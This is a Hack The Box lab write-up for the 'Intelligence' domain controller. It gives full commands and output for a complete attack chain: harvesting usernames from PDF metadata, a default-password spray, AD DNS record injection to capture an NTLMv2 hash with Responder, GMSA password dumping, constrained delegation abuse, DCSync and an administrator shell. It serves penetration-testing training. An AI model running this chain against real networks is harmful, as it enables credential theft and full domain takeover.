HTB - Intelligence

Target IP: 10.129.95.154 Domain: intelligence.htb DC Hostname: dc.intelligence.htb OS: Windows Server (Domain Controller) Difficulty: Medium Assumed Breach: No - initial access via unauthenticated web enumeration Author: [g1nt0n1x]


Ⓩ - zbulim notation: Steps marked with Ⓩ were performed automatically by zbulim, my automated recon tool. They are shown manually here for proof of concept and documentation purposes.


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery Ⓩ

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Intelligence
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
| ssl-cert: Subject: commonName=dc.intelligence.htb
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
9389/tcp  open  mc-nmf        .NET Message Framing

| smb2-security-mode:
|_    Message signing enabled and required

Port Analysis & Attack Surface

PortServiceNotes
80/tcpHTTP / IIS 10.0Company website - unusual on a DC, investigate first
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: intelligence.htb, DC: dc.intelligence.htb
445/tcpSMBSigning required - relay attacks blocked
53/tcpDNSIntegrated AD DNS - relevant for DNS poisoning later

Port 80 on a DC stands out immediately. Web servers on DCs are unusual and almost always intentional - investigate before attempting any AD enumeration. zbulim found no low-hanging fruit via SMB null/guest session, so web is the right initial pivot.


2. Phase 2: Web Enumeration - Document Discovery

2.1 Browse the Company Website

The IIS site is a static company page for “Intelligence Corp”. The only interesting content is a contact email (contact@intelligence.htb) and two document links:

http://intelligence.htb/documents/2020-01-01-upload.pdf
http://intelligence.htb/documents/2020-12-15-upload.pdf

Both PDFs contain only lorem ipsum filler text. The naming convention is the real finding: YEAR-MONTH-DAY-upload.pdf. If documents are uploaded continuously under this scheme, there could be hundreds more.

2.2 Extract Metadata with ExifTool

PDF metadata often contains the creator’s name - which on a corporate machine maps directly to their AD username.

exiftool *
# ======== 2020-01-01-upload.pdf
# Creator : William.Lee
# ======== 2020-12-15-upload.pdf
# Creator : Jose.Williams

Two usernames identified: William.Lee and Jose.Williams. The dot-separated First.Last format is the domain naming convention.

2.3 Validate Usernames with Kerbrute

echo "William.Lee
Jose.Williams" > usernames.txt
 
kerbrute userenum --dc 10.129.95.154 -d intelligence.htb usernames.txt
# [+] VALID USERNAME: William.Lee@intelligence.htb
# [+] VALID USERNAME: Jose.Williams@intelligence.htb

Both are valid AD accounts. We now know the username format with confidence.


3. Phase 3: PDF Harvesting - Brute-Force Every Date in 2020

The two known documents span January and December 2020. The naming convention is predictable - iterate every day of 2020 and download whatever exists.

3.1 Download All PDFs

#!/bin/bash
for month in 0{1..9} {10..12}; do
    for day in 0{1..9} {10..31}; do
        wget -q "http://intelligence.htb/documents/2020-$month-$day-upload.pdf"
    done
done
echo "done"

wget silently ignores 404s - only valid dates return a file. This yields ~84 PDFs.

3.2 Extract All Usernames from Metadata

exiftool -q -Creator -s3 *.pdf | sort -u > usernames.txt

This extracts the Creator field from every PDF, deduplicates, and saves the full user list. We now have the complete set of employees who uploaded documents.

3.3 Extract Text Content and Search for Secrets

The filler lorem ipsum text was a red herring - only visible pages. pdftotext extracts the actual text layer from every PDF:

#!/bin/bash
basedir=/home/kali/HTB/Intelligence/pdf
for file in "$basedir"/*.pdf; do
    pdftotext "$file" - | tee -a "$basedir/pdf-text.txt"
done

Search the combined output for password-related strings with surrounding context:

cat pdf-text.txt | grep -C 3 pass
# New Account Guide
# Welcome to Intelligence Corp!
# Please login using your username and the default password of:
# NewIntelligenceCorpUser9876         <---
# After logging in please change your password as soon as possible.

Default password found: NewIntelligenceCorpUser9876


4. Phase 4: Password Spray - Default Credentials

nxc smb 10.129.95.154 -u usernames.txt -p 'NewIntelligenceCorpUser9876'
# [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Tiffany.Molina never changed the onboarding default password. This is the most common outcome of default-password sprays.

Credentials: Tiffany.Molina:NewIntelligenceCorpUser9876


5. Phase 5: Share Enumeration - Scheduled Script Discovery

nxc smb 10.129.95.154 -u Tiffany.Molina -p 'NewIntelligenceCorpUser9876' --shares -M spider_plus -o DOWNLOAD_FLAG=True
cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.129.95.154 .
 
# tree
# .
# └── IT
#     └── downdetector.ps1

5.1 Analyze the Script

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
    try {
        $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
        if($request.StatusCode -ne 200) {
            Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
        }
    } catch {}
}

What this script does:

  1. Queries AD-integrated DNS for all records whose name starts with web*
  2. For each matching DNS entry, issues a web request with the running user’s Windows credentials (-UseDefaultCredentials)
  3. If the server doesn’t return HTTP 200, it emails Ted.Graves
  4. Runs every 5 minutes via a scheduled task (running as Ted.Graves)

The attack: If we can inject a DNS A record pointing web-<anything> at our IP, the scheduled task will send Ted.Graves’s NTLMv2 credentials to our machine when it tries to authenticate.


6. Phase 6: DNS Poisoning - NTLM Hash Capture

6.1 Inject a Malicious DNS Record

dnstool.py from the Krbrelayx toolkit can add, modify, or delete AD-integrated DNS records via LDAP. Tiffany.Molina has sufficient permissions to create one:

python dnstool.py \
    -u 'intelligence\Tiffany.Molina' \
    -p NewIntelligenceCorpUser9876 \
    10.129.95.154 \
    -a add \
    -r web-attacker \
    -d 10.10.16.149 \
    -t A

This creates web-attacker.intelligence.htb -> 10.10.16.149 (our IP). The script’s Name -like "web*" filter will pick this up on the next run.

6.2 Capture the Hash with Responder

sudo responder -I tun0 -dwv
# [Waiting ~5 minutes for the scheduled task to fire]
# [HTTP] NTLMv2 Hash : Ted.Graves::intelligence:2dcfefc69da22708:29211E3FD43F...

Credentials captured: Ted.Graves NTLMv2 hash

6.3 Crack the Hash

# -m 5600: NetNTLMv2
hashcat -m 5600 ted.graves.hash /usr/share/wordlists/rockyou.txt -O --force
# Ted.Graves:Mr.Teddy

Credentials: Ted.Graves:Mr.Teddy


7. Phase 7: BloodHound Enumeration

With a new credential, always run BloodHound before guessing the next move.

rusthound-ce -i 10.129.95.154 -d intelligence.htb \
    -u Ted.Graves -p Mr.Teddy \
    -c All -z -v

Upload the ZIP to BloodHound CE. Mark Ted.Graves as Owned. Run “Shortest Paths from Owned Objects to Tier Zero.”

Finding - attack path:

Ted.Graves
  └─ MemberOf ──► IT Support
                    └─ ReadGMSAPassword ──► SVC_INT$
                                              └─ AllowedToDelegate ──► DC.intelligence.htb

Three hops to Domain Admin: read the GMSA password, then abuse constrained delegation to impersonate Administrator on the DC.


8. Phase 8: GMSA Password Dump

BloodHound guidance:

SVC_INT$ is a Group Managed Service Account. Members of IT SUPPORT can retrieve the password for the GMSA SVC_INT$. The intended use of a GMSA is to allow certain computer accounts to retrieve the password, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
# Users or groups who can read password for svc_int$:
#  > DC$
#  > itsupport
# svc_int$:::3c356107d6b589fdfc215e2c3de484b5
# svc_int$:aes256-cts-hmac-sha1-96:3f62573c43253a658625cb66098a0090...

gMSADumper retrieves the GMSA password via LDAP and converts it to its NT hash equivalent.

8.1 Validate the Hash

nxc smb 10.129.95.154 -u 'svc_int$' -H 3c356107d6b589fdfc215e2c3de484b5
# [+] intelligence.htb\svc_int$:3c356107d6b589fdfc215e2c3de484b5

Hash valid: svc_int$:3c356107d6b589fdfc215e2c3de484b5


9. Phase 9: Constrained Delegation Abuse - Impersonate Administrator

9.1 Identify the Delegation Target

findDelegation.py 'intelligence.htb/Ted.Graves:Mr.Teddy' -dc-ip 10.129.95.154
# AccountName  AccountType                          DelegationType                      DelegationRightsTo
# -----------  -----------------------------------  ----------------------------------  -----------------------
# svc_int$     ms-DS-Group-Managed-Service-Account  Constrained w/ Protocol Transition  WWW/dc.intelligence.htb

svc_int$ has constrained delegation with Protocol Transition (S4U2Self + S4U2Proxy) to WWW/dc.intelligence.htb. The service name (sname) in the resulting ticket is not cryptographically protected - we can substitute any service (CIFS, HOST, LDAP) after obtaining the ticket.

9.2 Request a Service Ticket as Administrator

getST.py \
    -spn 'WWW/dc.intelligence.htb' \
    -impersonate 'ADMINISTRATOR' \
    -hashes :3c356107d6b589fdfc215e2c3de484b5 \
    'intelligence.htb/svc_int' \
    -dc-ip 10.129.95.154
# Saving ticket in ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

9.3 Dump Domain Secrets via DCSync

KRB5CCNAME=ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
    secretsdump.py -k -no-pass dc.intelligence.htb
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:0054cc2f7ff3b56d9e47eb39c89b521f:::

9.4 Shell as Administrator

KRB5CCNAME=ADMINISTRATOR@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
    wmiexec.py -k -no-pass administrator@dc.intelligence.htb
# C:\> whoami
# intelligence\administrator

Domain compromised.


Deep Dive: PDF Metadata as an OSINT Source

PDF files embed a Creator field that most authoring tools populate automatically with the logged-in Windows username. On a corporate domain, that username is the AD sAMAccountName - exactly what we need for Kerberos and spray attacks.

Why exiftool over manual inspection:

  • exiftool -q -Creator -s3 *.pdf outputs only the raw Creator value, one per line, ready to pipe into sort/uniq
  • -q suppresses warnings, -s3 outputs the value with no label - clean for scripting

The date-brute pattern applies broadly: Any time a web application exposes files with a predictable naming scheme (dates, sequential IDs, UUIDs), iterate the space. wget and curl both skip 404s cleanly. The signal-to-noise ratio is high because you’re looking for existence, not content, first.


Deep Dive: AD-Integrated DNS Poisoning

AD-integrated DNS stores its records as objects in the MicrosoftDNS partition of LDAP, not as flat zone files. Any authenticated domain user (by default) can create new DNS records via LDAP - the same way a legitimate admin would.

Why this works:

  • dnstool.py connects to LDAP and creates a new dnsNode object under the DNS zone
  • No special privileges required beyond domain user - the default DNS ACL allows authenticated users to add records
  • The record is immediately active - no zone transfer or reload needed

The NTLM coercion chain:

  1. Script queries AD DNS for web* entries - finds our injected record
  2. Script issues Invoke-WebRequest -UseDefaultCredentials to our IP
  3. Windows sends the NTLM challenge/response for the running account automatically - this is the designed behavior of -UseDefaultCredentials
  4. Responder answers the HTTP request, captures the NTLMv2 hash, then returns an error - the target never knows

Timing: The script runs every 5 minutes. Inject the DNS record, start Responder, wait up to 5 minutes. No interaction with the target user required.


Deep Dive: Group Managed Service Accounts (GMSA)

GMSAs are service accounts whose passwords are managed automatically by the DC - rotated on a schedule, stored in a protected AD attribute (msDS-ManagedPassword). They were designed to eliminate manually managed service account passwords.

The attacker’s perspective:

  • The password is stored in AD and retrievable over LDAP by any principal listed in msDS-GroupMSAMembership
  • The password is a 256-byte random blob, but its NT hash can be computed deterministically from it
  • gMSADumper.py retrieves the blob via LDAP (as an authorized group member) and computes the NT hash
  • The NT hash is as good as a password for PTH, Kerberos requests, and anything else that accepts NTLM

Why this escalates: A GMSA is often granted elevated permissions (to run services, access shares, or perform delegated operations) without the operational overhead of a regular service account. Those permissions exist on the GMSA object - and we just obtained its equivalent password.


Deep Dive: Constrained Delegation with Protocol Transition (S4U2Self + S4U2Proxy)

Constrained delegation limits which services an account can delegate to. “With Protocol Transition” (msDS-AllowedToDelegateTo + TrustedToAuthForDelegation flag) means the account can also use S4U2Self - request a service ticket on behalf of any user, even if that user never authenticated to the delegating service.

The two-step S4U process:

StepProtocolWhat happens
S4U2SelfKerberossvc_int$ asks the KDC for a ticket to itself, impersonating ADMINISTRATOR. KDC issues it because of TrustedToAuthForDelegation.
S4U2ProxyKerberossvc_int$ presents the S4U2Self ticket to request a service ticket to WWW/dc.intelligence.htb as ADMINISTRATOR. KDC honors it because the target is in msDS-AllowedToDelegateTo.

The sname substitution: The service name field (sname) in the resulting ticket is not covered by the ticket’s cryptographic signature. After getST.py obtains a ticket for WWW/dc.intelligence.htb, we can submit it to any service on that host - CIFS, HOST, LDAP - and the DC will accept it. This is why constrained delegation to any SPN on a DC is effectively unrestricted escalation.

getST.py handles the full S4U chain automatically. The -impersonate flag triggers both S4U2Self and S4U2Proxy in sequence.


Key Takeaways & Checklist

  • Port 80 on a DC is unusual and almost always the intended entry point - investigate before AD enumeration
  • PDF Creator metadata = AD username; collect from every PDF on the target, not just the ones linked on the page
  • When a URL follows a predictable date/ID scheme, iterate the full space with a wget loop - 404s are free
  • Always run pdftotext (or equivalent) on every downloaded document - content inside is separate from the displayed page
  • Default passwords from onboarding documents are the most reliable spray target - someone always skips the mandatory change
  • After gaining a foothold, spider all shares - IT, DEV, Scripts shares almost always contain automation scripts with embedded credentials or exploitable logic
  • Scheduled scripts using -UseDefaultCredentials + AD-controlled DNS = NTLM coercion without touching the user
  • Authenticated domain users can add AD-integrated DNS records by default - always test when you need to coerce NTLM
  • Responder on tun0 is the standard listener; wait the full scheduled task interval before assuming failure
  • After every new credential, run BloodHound - the Ted.Graves GMSA Delegation chain is invisible without graph analysis
  • GMSA membership means the NT hash is retrievable over LDAP - treat it the same as a cleartext password
  • Constrained delegation with Protocol Transition to any SPN on the DC = impersonate any user = Domain Admin
  • getST.py handles the full S4U2Self + S4U2Proxy chain; set KRB5CCNAME and pass -k -no-pass to all Impacket tools